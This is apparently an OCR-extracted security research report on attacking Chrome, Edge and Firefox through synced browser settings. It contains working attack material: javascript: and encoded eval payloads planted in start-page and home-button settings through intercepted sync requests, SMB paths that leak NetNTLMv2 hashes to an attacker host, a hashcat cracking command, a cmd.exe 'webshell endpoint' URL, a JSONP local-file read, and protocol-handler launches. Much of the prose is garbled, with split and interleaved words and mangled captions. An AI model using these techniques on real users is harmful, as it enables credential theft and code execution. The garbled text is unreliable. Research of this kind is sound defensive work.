(© Today @ SECRET WEBSHELL ENDPOINT https://jankhjankh.github.io/payment.htmI?Secre]

(© Yesterday @ jankhjankh.github.io/paymenthtml|?Se... https://jankhjankh.github.io/payment.html?Secre
(® Last 7 days
(© September
@ August URL https://jankhjankh github.io/payment html?Secretparameter=cmd.exe%20/c%20ping%208.8.8.8
© May

(O Older than 6 months

Name | SECRET WEBSHELL ENDPOINT

ﬂ_/, Downloads

FigadB8e Vi ewing history in Firefox, including

KefResul t s

Thewasa vast amount of information | ogged b
accountoutlhdat extremely wuseful to a dedicated
amount of personal data that coul dT hbee nhoesvte r a

severe i ssuwast dentcilfouedd synchr &@&dpgeed feetceir

synchronisation Aff upas sewwoampsl e of whi2ch can

Addi t itohreeltlhyoodol ogy retrieving a use pass
X.

-2
s 0s
i THEFIT aingd pi votraelmofter ctolde explionth 6n disc

r
E



CASE STUDY 2: FORCED NAYV
TECHNI QBB OCI AL ENGI NEER

Anot her key piece of intended f wiscttihoen aalbiitlyi
to set websites twheamnuttohmatucear Ityaloggenspeci fi
opening theThowvweme t hrough a variety of fe
a usetra&mst page, homepage, nesw Asabt page,f aadu
work nearly identically, focus was placed o
configured as the start page wil/l be opened
than rebpenbngwser .
By controlling the start pagebrmowWsema tamgexfbd
attacokueirhcubate amaumbeoufdgegaihmdtgutelse user.
ef fecti vel y hcuintacnu mwe retri aichtas s cstadp engi neerin
l'inks will al ways be browsed to.
Thi s salthtawkervsecagmon phishing techniques fr
trust, awoulhdke awmékrrbet hat any mdtla kce no upsl aaccet.i v
most problematic phishing techniques that we
T Directingatheguséemate downl oad page for a
tab downl oading a malicious file from a n
T Directing the user to at dpmalN mmegage,arwitto

an HTML smuggling technigue embedded with
T Directing nihret eursreal twebasi t e csdamtthea ngingg a
GET r e,ghuee sctont extcofubel whHeohi fied from the

history.
One key problem idiutialgl y heswacastharseaddyg h br
conteald Ini-einde validation o€fhmsomeddaegd ttihngs .wa@r
circumvented via intercepting the requests

responses.

| ®Fi refoke symwereepdray,elsedh made t ampdarfifng urleq
|l nstead, tehxet essrysaicormppepd, as it all owweidt wout i n
the need for request tampering.

By design, these browsers did not val i dat e
browser all owed for encrypting all -syde dat
validation would be an i mperfect solution.

Mal i ci ous Site

By foawsienrg to navigateahoabtmelkdei oe@sasuser
doi apgl of the exploitation wekemhniaquwesrgernar

phishing | ink, such as XSS, t®SRFar vaensdt. scproeodfei
One minor difference between this and a tra
may be |l ess |ikely to expect a malicious ac
taken any actions outside of their nor mal us



Chr ome
Chr omeé leaiwor the opening of muh a virgelda c & ehles , \

visibility of a maolpiecnieoduwsolraedeeage dbeiong how
webpage and download a file with a secondary
to have been downl oaded from the trusted URL
Edge

Edgeel leadwor t he opening of mudweepldE€ kweiadish i lwihti y
of a malici ousopvermethagwee bkea einp ussheadw a webpage
downl oad a file with a secondary web page, ¢
downl oaded from the trusted URL.

Edgeael so ceamtwaningque feaURHL e nkoheemhdeva ce, to an
resul ai mgsismage sifmilawinhg bkeéeng sent to the

Page shared from another device .

127.0.0.1:8090/payment.ntmi?uname="5ecrett&psw=...
http://127.0.0.1:8090
Shared from DESKTOP-BCDVBEP

Open in New Tab

Figa®e Al ert box received on victim device to ope

Firef ox

Fireaf badvor the openingiaf umegfooliptdet absbet we
t hefmor exampl e:

EOOPOKYYCITCIAtATTI yEOODOKkYYOEOAt ET OAOT Al
Firaedtwlad s emember howefhednedI|tempeddd omati cally
files of the dowhhodadad tfhielye thyapde biefen . pr evi c

Thewersome protections i n pofactehitso fperaetvuernet,
di siarbhd t he EX&tand M&t fil es.

CroSsBte Scripting

CroSste ScXiS@)itmgks occur when an attacker

send malicious JavaScript code to a wuser, t
cont ext of t hecdoulblelr cewspe ro.i t Bldi st o compr omi se
forged request s, downl oad malicious files,
Hi storically, browsers have all owed JavaScr.i

of TtAGA3AQ@E®MAQkocol handler, although this ha
ti me batcamuse.

Chr ome

Chr omd leadw he use of t he JavaScvriigpuubmphgt oco
*AOASBAOEDOK aGAUWIhleAABRMIpa@a&cri pt dUuRLa8d wewr e
browGdEIr but the isysnel hequelhger edbmi t v.al i d peé



& > C ® Chrome | chrome://settings/onStartup e w 0O e

Edit page

Site URL

javascript:alert("Domain:" +document.domain+"\nLocation:" +document.locati...

Invalid URL

FigeaOe Chromei dei eheck EAOAOADRBDK

FAOAOABEDPAOOs Yy $T I AET ky 1l ATMOIN AADIEAT IKABIATAOIT Al
AAOGEIT T %
é) ﬂ Request to https//clientsd.google.com:d4d3 [172217.24.46]

Forward Drop Action Open browser

Pretty Raw Hex

By submvatidgpayl oad and intercepting the sy
possible to modify the protobuf docespmutbend t by |
the server:
"AOAOAOEDOKAI AOOs vy $1 1 AET Rkiv,l TAA AQE 1AT IOF AATT AEI Aly
AAGET 1 ¢

I

Jl
s
m

17 roy.bunsen@gmail.comc"E
o a
18 £Z2:ADqtAZwWWe fIKIQgWDIz4zUAt Ie ShLNF2LLVMCAdt TAJxBXemEANAIBS /3 pnhYyRUTs icwlaSCZww2 NhMsVc0ibj/u7GM/ kMx 1=
= +-0*§41(0°00%10009~ L:session.startup_urlsO2p® 1
20 session.startup_urlsT [lert (“"Domain: "\ "+document.domain+'" "\ nLocation: \"+document. location

) "]1°95T9do £XNGdq0KX1aHTEiZ JEJmU=nyox 5KspODRdrRFHt iku7g=="~00& | +&I6A-bPEEO" | /uh--¢ (Oiuecdicd -

Fig@ale Sync request protobuf intercepted by a pr

1 uest to hitps://clientsd google com: 1 1
tsd. 443 [172217.

Forward Drop Action Open browser

Pretr, Raw Hex \n =

17 roy.bunsen@gmail.comc"E
ooa
19 fZ:ADqtAZwWefIKOQgWDIz4zUAtIe ShLNF2ZLLvMCAdt 7TAjxBXemEANAIBS /3 pnhYyRUTs icwlaSCZwwl NhMsVeOiby /u76M/ kMx 10—
= +-0?§41(0°00%10009~ l:session.startup urlsO3p? 1
20 session.startup_urlsT alerl: (\"Domain:\ "+document . domain+" "\ \nLocation: \"+document. location
) "] °85T9do fXNGAqDKX1aHTEi2 JEImU=nyox SKspODRArRFHE ikuT7g=="~00& | +eI6A-P@EO? | /uA+=¢ (Oiueodisd o’

Figare®ync request protobufafitnetre rntoedpitfeidc abtyi oan pr o

On at hseyyrnced dewmatesjoub value was saved



3 Settings - On startup x4 - - o %
€ - C ® Chrome | chromey/settings/onStartup e« 0@ :
@ Settings B) e
2 Youand Google
On startup
B Autofill and passwords
QO  Open the New Tab page
@ Privacy and security
& Performance QO Continue where you left off
@  Appearance @  Open a specific page or set of pages
Q. Search engine javascriptalert("Domain:” +document.domain + “\nLocation:"+ document location)
javascriptalent("Domain:” +document.domain="\nLocation:"+ document location)
ED  Default browser
Add a new page
)  Onstartup
Use current pages
@ Languages

FigaBe The vi crteicmreidweivigeet he JavaScript: startup

ReoperCihmomeigdiehri s Jaea&cufipon, as shown by
gener.at ed

@ untitled x4 v - a x

€ 3 C @ aboutblank e % 0@ :

This page says

&  Google Chrome isn't your default browser [EEESSITRSN Domain x
=n
Figahakavascript executing in a domainless context

his JavaScript execution did not occur i
d be wused similarly to navigating to ¢
Script. The key difference between these
stpage did not require any outbound conn
c k

, and guaranteeing that it would not b
Fp hainsthii ng measur es.

Edge
|l Edge JavaBuobeptstored in the saentdt iintgswowilad ttar
JavaScript in AAOChhAhagkBEvaSct hpt URLS were
in browser GUI, but the sync request itself

@ [ €3 Settings x l+ — =

& G @ @ Edge | edge//settings/startHomeNTP aQ m I R 3

B e o P x

"

Add a new page

Enter a URL

("Domain:™ domain+"\nLoc

Check the URL

1 ¥ 2 0

Cancel

Figasedgel i-einde check EADAOADRDGDFK



payl oad and intercept.i

bmi tti
pos ble to modify the protobuf to submit al
t he erver:
"AOAOAOEDOKAI AOOs vy $1 1 AET Riv,lTAA AOE IAT IOF AAT AEIT Alvy
AAGET 1 ¢
EAOAOAOEDOK AT AOOs vy $i1 1 AET kiv,] IAA AOE IAT fOY AAT A& Aly
(IS

‘QO a Request to https//edge microsoftcom:443 [13.107.21.239]

Forward Drop Intercept is on Action Open browser
Raw Hex n =

19 S5fnzmrUtYxZRgPAgN3IyJT4A==c"P

20 &

21 §61d2£752-d28e-4f41-%bab-1ladD6Ee02760 |- OMl (€0£0%100UuWI™ L:session.startup_urlsO2p? 1

22 session.startup_urlsT["bavascript:alert(\"Domain:'"+document.domain+\"" \nLocation:\"+document. location
) "]1°95T9dofXNGAqOKX1aHTELiZ JETmU=5fnzmr Ut ¥x 2 RgPAgN3 yT4A=="VOOE | +eIofi-00+I%=--¢00i£0 O

Figate Sync request protobuf intercepted by a pr

y 8 Request to https//edge microsoftcom:443 [13.107.21.239]

Forward Drop Intercept is on Action Open browser
Raw Hex \n

19 5fnzmrUtY¥xZRgPAgN3yJT4A==c"

20 &

21 §61d2£752-d28e-4f41-%bab-1ladD6Ee02760 |- OMl (€0£0%100UuWI™ L:session.startup_urlsO2p? "1

22 session.startup_urlsT["javascript:alert(\"Domain:'"+document.domain+\"" \nLocation:\ "+document. location
) "]1°95T9do fXNGAqOKX1aHTELi2 JEImU=5fnzmr Ut ¥x 2 RgPAgN3 yJ4A=="VOOE | +eIofi-00+I%--;0010 O

Figeai7®e®ync request pr ’ot qb/uNfa\fi,tnm[dairfcie‘q:ratd%iﬂcf)‘rAy(’)[th)ErDo@y,
EAOAOAOEDO

On at hseyyrnced dewmatéesjoub value was saved:

@ [ & Setings x [Ei
& C @ @ cdge | edge/settings/startHomeNT D = B | L o
Q,
Settings & When Edge starts ~
Q © Open the new tab page E
@ Profiles Open tabs from the previous session i
@ Privacy, search, and servi
rivacy, search, and services et g o
&) Appearance
0D Sidebar Pages Add a new page &
| B Start, home, and new tabs o Jjavascriptalert(*Domain:" +document.domain+ “\nLocation:"+ document.location) L4
[ Share, copy and paste B ' ' ! -
R Cookies and site permissions Clear the list and set it to all currently open tabs Use all open tabs
e
8 Default browser
Fi g@28Ehe victimcdeviog the JavaScri.pt: startup

ReoperEidggeri ggered this JavaScript execution
gener at ed.



@ O i
G @ blank m g & - O
This page says Q
¢
=] =
F s
G
Figa®kavaScript executing in a domainless. context
As this JavaScript execution did not occur i
coul d be wused similarly to navigating to ¢
JavaScript. The key differencenbbdetivegnXt6Bese
the start page did not require any outbound
attack, and guaranteeing that it would not b
ot herphainsthii ng measur es.
This JavaScript execution was only activated
running in the background, it would not trig
Additiomal hgme buttoendf 6eattavaSatipw to be e
executed within thetheonteat wés tberTpeangtel v
functionad by al Uawver salouXX®S ciofertcheal ntigtnegro coc |
home button on the aTthteactkkeme whpestcti dreedblkeéedeb
default, however, whe #Bé dwonur syth@ceenabl e it
Submitting a home button value with a malici
@ M 55 senings x  +
<« C @ @ Edg settings, [as @ . . ]
Settings (O When Edge starts :
Q Open the new tab page -
@ Profiles Open tabs from the previous session s
() Privacy, search, and services Operr s poges P
| B Start, home, and new tabs gz Continue L
[E Share, copy and paste -
@ Cookies and site permissions Clear the list and set it to all currently open tabs Use all open tabs
L]
@ Default browser
& +
8 (2 Home button
) Show home button on the toolbar [ o]
o m—— A
0 Phone and ather devices javascripteval (atob{"dmFylFNvdX JiZSAIG5IdyBY TUxTZX Jp YWxpemVyKCkuc2VyaWFsaXplVG9TdHpbmcoZ Gt
T Accessibility
@ About Microsoft Edge
= New tab page -
Customize your new tab page layout and content Customize £
Fig8Be Submitting a JatvhaeSchroinpet :b uptrtootno cionl Edng e .
The resultant JavaScript being executed on t
pressing the home button.



@ [ B Micosoft account | Home x |+

C @ ttps://account.microsoft.com,

i Microsoft account ‘ \CTAT SRS SN EWISE  account.microsoft.com says.

accountmicrosoftcom:MC1 =GUID=c8a3567d14224cTe97ce 202622
93c5a&HASH=cBal &LV =202
2108V =4&1LU=1665894364313;

MUID=0698EACISA1E6F27313FFB165BE46E0D; cs_c=0: oo
Roy Bunsen _cs.id=1538¢d82-072b-
a811-969b-14d2ac125558.1681619112.1.1681619112.1681619112.1 "‘

613561419.1715783112074; ClicktaleReplayLink=https://

dmz01.app.clicktale.com/Player.aspx?PID=1&UID=18SID=1 o
AMCY_EATEADESSTTED2ECTFOD0101%40AdobeOrg=15855401
. 35 MCIDTS%7C19464% ACMID3%7CB605978461208358458303
© Never lose access to your Microsoft account 54436171 0443642% TCMCAAMLE-1 Add a recovery phone number &
682223912%7CA%TCMCAAMB-1682223912%7C6G1ynYcLPuiQxYZrsz v ™
,
-

—
) ]
, 5
Buy Microsoft 365 Q‘ ‘ n
Be more productive - buy Microsoft 365 including Word, Excel, PowerPoint, and more. ‘é ’ Q
Get Microsoft 365 A o
o -

Figdde Upon the wuser clicking the home page, JavaScri
domai n.

Firef ox

The JavaScrwpdsawpeotwiatoalpelhto wgydinot tupgmer
t hber owser opening, aomleiwc k iabbgnet bbert t on.

@ Firefox about:preferences#home

L Find in Settings

Home Restore Defaults

New Windows and Tabs

Choose what you see when you open your homepage, new windows, and new tabs.

Custom URLs...

Homepage and new windows javascript:alert(1)

Use Current Page Use Bookmark...

New tabs Blank Page

FigB8Re Submitting a JavaScript homepage in

The pwagse found t ostbengetnytiemasttaatbel ewhen forc
navigat AOABAQPEDOfo cwmbt meani ngful fideaoti édnaldi t



@ New Tab X +

@ Q_ Search with Google or enter address

Fig@8B8e Non interactable Firefox page upon reop

Keyesults

Case study 2 verified the core attack primit
each browser, which worked as a foundation f
EXEC fiAdidngsonally, the universal XSS foun
THEFZT, however, the |ikelihood is dramati cal



CASE STUIWMAI: FILESYSTEM
NETWORKITACKS

Browsers are not l i mited to HTTP and -HTTPS
based settings withi n etdhecsoee rhcri onvgs eursse.r sT htios ne
| odoelsouarmkesremote file swerheasdl| bdt Bl ofghwhychHb
thow browsers h&mwmndl ¢ hwab ciatsest $ 1 @ dcgomdai eruer neodt
on the | ocal beu mwtour ks erawnedr arnunni ng Responder
how the brodwserotrearddllees, anddawtwhdmtoiwsatriso i a
navigatfi hg sbaae. Additionally, several | oca

interactions with browsers.

Re mokiel e shares
Remote filcoeubédames,epsrsoevd ded TCIWa;poarctcet$1$5bI.e

externatbydea Thhipdt t bhe victim into a f-ile vi
controll eDesmwintteenbeing handled within the f
browser coo nnetxdh| dnewayfadmost ed on Sklwase dri
i dent iofvieevycer, t his externaWwas astdeapt iclalt eé onore

coeratomacks via replacing the SMB server wi!t
such as &respond

Chr ome
Chr omeé lealovl oud soyfihicli @ g pat hABEIwWilRtrhe ctthheve wi t hot
tampering Vi a submitting a mal i ci ous URL

AEI AKYY, -1  )Y#)/ 53 52, .Y



&Y file://192.168.18.128/poc.html X +

€ C @ File | 192.168.18.128/poc.html &

@ Getting Started @ https://google.com/1 & https://google.com/2

Your file couldn’t be accessed

It may have been moved, edited or deleted.

FRR_FILE_NOT_FOUND

FigGmMavigatifErEd &ik)reactive, resulting in a file n

Edge

Edga&l sad leadw!l oud synci mg fai Iset apad whpsaly £E lkekk ry
directive without any tampering via submitt.i
pat ti€FEhAKYY. -1 ,)#)/53 52, Y



@ @O &) file//192.168.18.128/indexhtml  x | 4

() File | 192.168.18.128/index.html
@]

X

File not found
It may have been moved, edited, or deleted.

ERR_FILE_NOT_FOUND

FigGBNavigatjCErEd /&iﬁoractive, resulting in a file

Firef ox

Firefooix ai ndd nidméiéadmsud syncing .t WEERfAREYdir
directive was mothoalelhpweaer , b)Y MBulsrmiatitei p@td
FirevMoauud d conveeEl ARKRI .t o a

The foll owi ngdapatnheernawmpt B #)/ 513 52, Y

@ | 83 Settings X 4+ v = m] X

&~ C @ @ Firefox aboutpreferences#home w ® @ H © =

O Find in Settings

@ General

@ HlemnE Home Restore Defaults

Q_ search New Windows and Tabs

Choose what you see when you open your homepage, new windows, and new tabs.
& Privacy & Security

Custom URLs...

Q Sync

. Homepage and new windows \\192.168.18.128\index.html
E More from Mozilla

7 Extensions & Themes Use Current Page Use Bookmark...

® Firefox Support New tabs Blank Page v

FigB6e Setting the homepage to an SMB path



@ (@ Problem loading page X + v — O X

G @ @ file://///192.168.18.128/index html b ® 0 9H ©

Access to the file was denied

The file at ///192.168.18.128/index.html is not readable.

« [t may have been removed, moved, or file permissions may be preventing access.

Try Again

Fig@7e Upon restarting the browser, rtelsiud tp atgh iwmasa dor
found. error

Credemodi mdasnidoncr acking

Regardl ess of wwshiucshe db,r otoheselbdr esssud d tco compr om
NeNTLMwWash of the wuser, provi dewagehabl 8€P p
which is |l ess common on robust enterprise en
net wprpRpesing a more sig-hr éhioanentusreirsk for wor

NTLMv2-SSP Client
NTLMv2-55P Username :
NTLMv2-SSP Hash

Fig8Be Receiving a Net NTLMV2 hash from the vict

Br ute forcing Halad® e o hdaidvheaadt thiaac k e r clroecdeeln t u sad rs
if heyudrdack the password. Thceosud ldas beopsede d
subsequent attacks:

2https://github.com/ hashcat/ hashcat



esktop\hashcat-6.1.1> .\hashcat.exe 0 5600 .\hash.txt .\rockyou.txt
ng...

i

Minimum password length supported b
Maximum password length supported b

s ests; 1 unique digests, 1 unigue
E1tmaps 16 b1ts 65536 entries, 0Ox uoonffff mas P 62144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
B 0pt1m1zed Kernel
* B

* 5 le-|
* single-salt
wWatchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 626 MB

0162bc599Ta75e807a0000000002000
02 700460041005 40049"04 04
00141‘»043004300 21 7 7 3
DO 6 09 B0ea44ea46155bl 3F60a001000000000000000000000000! 000000000900
2002e003100360038002 eor lGOiSDG 00310032 DG!SODDGGOODGGOOOODGGO‘Pa

Fig8®e Cracking the Net NTLMV2 hash in Hashcat to obt

Coercing authentication this way <could al sc
attacks, however, this woul d ard uwase osutg noiff is
for this.cAseaddudyonel ayi mbuhdkhdhdetyhatannot
be rel ayeamd odéd\vhiacnes,adsdo t i onal i nternal hos:H
identified f,oranrde|daggtvvedirtkac&kesss to that iinter
be required.

Local fil es

Local ofuilblée sacccessadbbywseaeci fying Denpendilreg di
on the path targeted, this may require know

A

target pat h. Eg, the usero6s defaul't downl oa
stored#kM8GAOO0OY, 5OADhAEAc¥ul d be obtained in
T I'nferring based on the information stored
1T Retrieving the username via the credenti a
in the case study.
f Extracting #lY¥5 OhiOrOeycttheery t o retrieve th
in the system.

Typically |l oading | ocal resources i s preven
oncadbr owsiem asfile vikeowyguwmlgd cowt ekRée, webr page t
ot hleoarcal r.eshiirxesould be used to reawlebmnul tir
pageif the resources can be handled via Jave

The only method identifwae##yfobevexbagbhyhd SOy

attackany file can be |l oaded as a JavaScri
interpreted as valid JavaScript. By |l oading
can be misinterprewserasaonegadheéhe a@mda wit
access it via JavaScript, allowing for the f

As shown in theafQAtwidi@AvEwhomdef i ned to | og
receai vehi s all owed the prefs.js file to be |
to the consol e. This could also be. ulsredt He®

Bhttps:// payat wtdamn/kdl og/ j sonp



exampl e bel ow, t he prefs.js file was retr
demonstrating JavaScript reading of this dat

s C\Users\UsenAppData\Roaming\Mozilla\Firefox\Profiles\Okhijcto.default-release\prefs.js - Sublime Tex

File Edit Selection Find View Goto Tools Project Preferences Help

4P prefsjs

Mozilla User Preferences
DO NOT EDIT THIS FILE.

If you make changes to this file while the application is running,
the changes will be overwritten when the application exits.

To change a preference value, you can either:
- modify it via the UI (e.g. via about:config in the browser); or
- set it within a user.js file in your profile.

("accessibility.typeaheadfind.flashBar"”, @);
("app.installation.timestamp”, "133408090843795707");
("app.normandy.first_run”, );
("app.normandy.migrationsApplied”, 12);

("app.normandy.user_id", "34119416-eall-44f1-9e0d-651276462a010");
("app.shield.optoutstudies.enabled”, );
("app.update.auto.migrated”, );
("app.update.background.lastInstalledTaskVersion”, 3);
("app.update.background.rolledout”, );
("app.update.download.attempts”, @);
("app.update.elevate.attempts™, @);
("app.update.lastUpdateTime.addon-background-update-timer", 1699496959);
("app.update.lastUpdateTime.background-update-timer", 1699492343);

FigdPe Vi ewing the prefs.js file, showing it con

n (datal, data2){
(datal)
(data2)

Figdl®he script to |l oad the prefs.js file and wr



v = O X

& demo.html X +
& C @ File | C/Users/User/Downloads/demo.html & ¢ [ o :
@ Getting Started @ https://google.com/1 & https://google.com/2 »

R o Elements Console Sources Network Performance >» B 1 @ LD ¢

D @ topv © |Filter Default levels ¥ Nolssues B 1 £83
- e .
services.sync.prefs.syncID demo.html:3
6Xs3Ivolydsk demo.html:4
services.sync.syncInterval demo.html:3
600000 demo.html:4
services.sync.syncThreshold demo.html:3
300 demo.html:4
services.sync.username demo.html:3
Roy.Bunsen@gmail.com demo.html:4
signon.suggestImportCount demo.html:3
] demo.html:4

Fi gdRkeccessing the filresiud ttilmegg bmowsher data bein

This technique also worked from both a | ocal
a share drive tAs rsewah,a Wwiotchals dmd euser cont e
send a user to a share drive containing an h
dri veDdmorestrations of thi-6. can be found in

Downl oauWi eem d

One potenti al explhei tfaitlieond imireiaiitvhee e parboivliidtey
downl oad a file and dduwlmd mdaowmieg avti ea btionoow sseerpTatr i
restarts, onef taned otwnd ocatdh earhet o access the f|
do in a single mali c¢ ouwdsidraccuumvveintty tihfe aSia naet tCa

( SOMo.wever, the XSS found in both Edge and

£ oA

l ocal fiARl @OlbAlohAhe xats such this only worked
html file over an SMB shaffEl Ae¥¥Ythks mwhtchhe
be used to cirasmdestcuS®RBd in. the | ocal file



Key Results

The most nosabl e asepwsdrtted g abi |l ity to coer c
aut henticate to a mal i cainadu st haeu tahbeinltiitcyattionv i
within a br.owBle fciomdtexdaf which -5, di seulsated
of which is di s3c aHEFITI WhTHEF heiwerdese r ettt hre:
exploitaweéeepowehrdyl gadgwlbe Wwbvehaged when |
combination with a mal idc¢iscws s #idNdedn et & dodar@sl il oyn,
ability t o |l oaudbeéel oeusaéd fibeeexfiltrate I nf o1
circumstances.



CASE STUDY 4: PROTOCOL H

I n addit EEhAf6Y ebeive, otheroupbddtwsed Wwiatnfli r
browsebyURDbrcibly setting ttheé gyswmu tdsindcdt agoftn tp
t

browsent eXxtxampl es of this include opening vi
as Zoom and Teansl ivh kad @ORA i nOkep odt i vel y.

& Google x + v O X
C @ ms-teamsexample » 0O G H

@ ms-teams:example
Q  ms-teams:example - Google Search S e

Google

Google Search I'm Feeling Lucky

FigdBe Submitt-i egmtpheomscol handl er .

Upon navigating to a protocol handl er URL,
applicawesormbtohuat t o be opened.
& Google X 4 Vv = (] X
C' @& google.com 2 v % 0 oi
Open Microsoft Teams?
A website wants to open this application. Gmail Images HH Q
Open Microsoft Teams
-_ Ulv
4 G
Google Search I'm Feeling Lucky
Figdde Upon navigating to the protocol handler, a pro
application.
Some Windows protocol handl ers are inbuilt
windows services, whereas external applicat.i

the data within the regis t inform the [

try 0
whaptar ameters. In the ex&mpP&os
spawn EPDtie AOT AEAP IAigddat i on and e
pl ace . t he i

bowh bahdWwer
mb e d t he ent



ﬁ Registry Editor

File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\jnlp\Shel\Open\Command

v jnlp Name Type Data

e Shell 5"E(Default) REG_S7 "C\Program Files\Java\jre-1.8\bin\jp2launcher.exe" -securejws "%1"
v Open

Command

Fi gdb®Bhe registry key informing browsers how to ha

Asampl e protocol handl er URL and resulting
been provided Sfubbrmiddntngxta pr otthoe ofl o lhlaowdil reg v
create a prompt in Chrome asking the wuser
application:

EIIDkEOODOkYYATAOiT OAAI At ATT YEAOAOAYOOOT OEAI
OAPAA* 73001 EAAOY. 1T OAPAAY ETI B
& Google x + v N 8 s
C @& google.com 2 v » 0O G H
Open Java(TM) Web Launcher?
A website wants to open this application. Gmail Images B a
Open Java(TM) Web Launcher
-_ W U LI 4
UBIO
Google Search I'm Feeling Lucky

FigdB6e Launching the JNLP protocol handl er i

|l f thewagr amgtept ed, t hewapr tort io.gnglétrhdi dsordedasesre n g
a Java pwhochsstedaadnrdt her warning prompt

G Google X +

C & google.com

Do you want to run this application?

Name: Notepad

(
4
y — ] Publisher: Oracle America, Inc.

S

Location:  https://docs.oracle.com

This application will run with unrestricted access which may put your computer and personal
information at risk, Run this application only if you trust the location and publisher above.,

i
)

|| Do not show this again for apps from the publisher and location above

g More Infarmation

Cancel

Figdi7e Upon the user accepting theppweawvidguwhprcdmegt ead
warning prior to running the remote jar



At this point, regardl ess of i fJPReawmsemercl
process has been spawnet@thd&sgmmhapepdpribhecobnhan
created warsacess

2# k0 O C AN A QRAOUEt MAENEDY T AOT AEAOARABGAAE X O
YET 1 DKEOOPOKYYAI AOt | OAAI At AI I YEAOAOAYOOOI OEA
I OAPDPAA* 73001 EAAOY. T OAPAAY ET I Py
The full execution chain can be found bel ow:

m

h Process Monitor - Sysinternals: www.sysinternals.com - [u] X
File Edit Event Filter Tools Options Help

=EIDIRIYAO| & £ L/ H e Dol

Time o... Process Name Operation Command Line

11:42:2 chrome exe «? Process Create  "C:\Program Files\Google\Chrome\Applicationichrome.exe”

11:42:2 chrome.exe 4% Process Start "C:\Program Files\Google\Chrome\Application\chrome exe" —type=renderer —disable-nacl —origin-trial-disabled-features=WebGPU --disable-gpu-compositing -lang=en-GB --device-scale-factd
11:42:2... {2 chrome.exe 2 Process Create  "C:\Program Files\Google\Chrome\Applicationichrome.exe"

11:42:2. - jp2launcher exe % Process Start "G\Program Files\Javaljre-1.8\bin\jp2launcher exe" -securejws "jnlp:https://docs oracle comj: orial ElY ent/NotepadJWSPr

11:42:2. "W jp2launcher exe o Process Create "G \Program Files\Javaljre-1.8\bin\jp2launcher exe" -securejws “Jn\p:https://docs oracle.com/j: Ori dmp\u deployment/Notepar JWSPmJect/NmepadJmp

11:42:2.. | £javaws exe ¥ Process Start "C:\Program Files\.Javaljre-1.8\bin\javaws exe" "jnip-https://docs oracle.c ori 1ent/NotepadJWSProject/Notepad jnip"

11:42:2. | £|javaws exe % Process Create  "C:\Program Files\Javaljre-1.8\bin\javaws.exe" “jnip:https:fidocs.oracle. padJWSProject/Notepad jnip”

11:42:2 .. | javaws.exe % Process Start  JavaWSSplashScreen -splash 56492 "C Program FileslJavaiye-1 8libldeployisplash gif*

11:42:2 | £javaws exe 2 Process Create  "C:\Program Files\Javaljre-1.8\binljavaws exe" Jn\p https://docs oracle. i orialdW IWSProject/Notepad jnip"

11:42:2. " jp2launcher exe % Process Start "G:\Program Files\Javaljre-1.8\bin\jp2launcher exe" -secure -javaws -re "C:\Program Files\Javaljre-1 8 -vma LWNsYXNzcGF0aABDOXQcmIncmFtIEZpbGVzXEphdmFcanJILTEuOFxsaW.Jc

FigdB8e The execution chain spawned from the JNL

Running External Applications

Running external appl wa ataino nsxfpieaxtterdwas awsler s
typically an accepted riestkhe Aws erucphr,i drr otws eqa
a mi nor safety measur e. Achieving unexpect
protocmmalsl ed a Priontgudmlerddmhdédppygn ahtteAgnuent | y
example of a recent pr owtaosc od \hfathad eecro |v ul anred |
vulnerability found in 2022 to achieve code

addition to protocol handler vulnerabilit
ctionality. For exampl e, Mi crosoft of fi
ument s, and Java all ows execution of rem
i twaornmilng pr ompt

O o T
YT TTO® 5 QO0CSS
-

S5 ® DT

o 0O S

oOome

ti sganalye to an apppricedti tome bao@re ert he ext
|l i cation uponl foptehde]l h PDCEA @MEIWeasn pressed,
appwaésc etxiecxlut emd| t i pdentpaagneesng pr weoeol h

SO~ 0n

ated upon theomlryowshe wi e srtiigigued AN Y
dl er is wsedamplde as a

® NewTab x + v - o X
C @ ldap/fexample e % 0@ :

Open Windows Contacts?

A website wants to open this application. Gmail Images b2t o
i

SR .. |

Fi gulg'éhiaAAﬁ)rkotocoli shandlgegrer ed upo.n restarting

i el def-bewitc.rconsnnfitpogi-bdebpdiabrapabladawdiyl abl e
ww. mdsec. co-vikbet2e3n Oidomitd @d a gl ng

s -



@& New Tab X
[5-] Find People

Look in: EXAMPLE

People

Name:

E-mail:

Find Now

Clear All

Close

TUU

gle

B %« 0@ :

Gmail Images

o

FigbOe Upon clicking the Open Windows Contacts button
execut ed.
Edge
Setting the start page to an application han
applicationEwmmnlmmﬁmen@DDlEAA@EMIwas presse
application was executed. | f multiple pages
upon the browser stawsaing, JlohetrAAdIRhEY dliarsti so
used here as an exampl e.
@ MO B Newtab X |+ - o X
C ® Q. Search or enter web address 7 m = % e a
€9 import favorites | ) Acer This site is trying to open Windows Contacts. Q
::E = NEcrasoft Start A website wants to open this application. [:] ? [? @ &
.
Q  Search the web Q’) b 28
(]
o
[ 4
FiglsﬂeTihAAﬁ)rkotocol handl er is triggered upon r
@ M [ Newtab x b=k o g
[5-] Find People X iy o ~ % s a
E; Look in: EXAMPLE
People A q
Find Now E] ? @ @ &
ame: |
. oft o
. Clear All @ 3t
\%ﬂ (o]
Close 6
X
W
-
FigbRe Upon clicking the Open Windows Contacts button
execut ed.
This protocol handler execution was only act
was running in the background, it would not



Firefox

Fir etfroixgdaeprpl i cati on handlers based off a fi
AT AT 1 f i éedenapwrdtierat i ondrhatn dd ean thhefto
iwoubdery the registry, and add it to,the he
upn subseqguentwoeuweexceuctuitoen.s Aist an exanmpAAb t he
protocolwahsaandil eeart éd rted odore f olwlacbvei nagd dleidn et o t
FEAT At EQOfTi | e:

t Y AXRDx AAOET T v k ipdz

Resulting in a handlers file similar to the

4 P | handlersjson

1 { 'du‘qul‘rHandl’ rsVer eTypes":{},"schemes" : {"1dap”: { "action” :d}I}.‘ ’

Fig68e The handlers.json filé AhDbtobel atdedl eonf i

Once added to tFhe ef@amdd e rtshe idef,aul t handl er

Firefax a Bfodc lelxitetr nal protocol handl ers tha
t hleQAGEN H QA JHEOIWhi ch used to be sabihe wionddws |k
ver s¥.ons

DOS

Whi | st not a particulkharclkywyoubdekuluser § miotuit v eo
accounts by setting the hoamkpagdrowsprotdbe
not abl e ufsoer ctahsiesprwaent ouser s from identif

compromi sed by preventing them from accessin

Chr ome

FoC€hr ometchoiud ed d o nael ebiuagggi ngs pechh#®OGIVANDE O
Thewes @l i-einde protectiomwhagdi rnusstedt hmins expl i c
